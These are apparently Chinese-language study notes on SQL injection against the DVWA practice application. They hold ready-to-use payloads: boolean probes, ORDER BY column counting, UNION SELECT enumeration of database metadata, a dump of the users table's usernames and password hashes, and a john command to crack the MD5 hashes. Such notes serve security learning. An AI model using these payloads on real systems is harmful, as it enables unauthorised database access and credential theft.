SQL注入
- 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
' " % ()
- 1'and'1'='1 / 1'and'1
- 1'and'1'='2 / 1'and'0
- 通过真假去判断是否存在SQL注入
检测查询字段
- 'order by 9--(--后面加个空格) #按查询列号排序(注释符:--)
- select * 时表字段数=查询字段数
联合查询
- 'union select 1,2-- (--后面加个空格) ##查询哪个是第一个字段哪个是第二个字段
- 'union all select database(),2-- (--后面加个空格)
- 'union select user(),version()--
- @@datadir #当前数据库所在位置
@@hostname #查询当前主机名
@@VERSION #查询数据库版本
@@version_compile_os-- #查询操作系统
CHAR() #执行ACSII码转换
md5() #计算哈希值
- CONCAT_WS(CHAR(32,58,32),user(),database(),version())
注:这个插件叫hackbar,自己去搜下如何使用
查询所有表 / 所有库
- 'union select table_name,table_schema from information_schema.tables-- '
统计库中表的数量
- 'UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
Dvwa库中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --+ (+代表空格)
查询Users表中所有列
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ (+代表空格)
查询user、password列中的内容
'union select user,password from dvwa.users--+ (+代表空格)
'union select null,concat(user,0x3a,password) from users--+
john --format=raw-MD5 dvwa.txt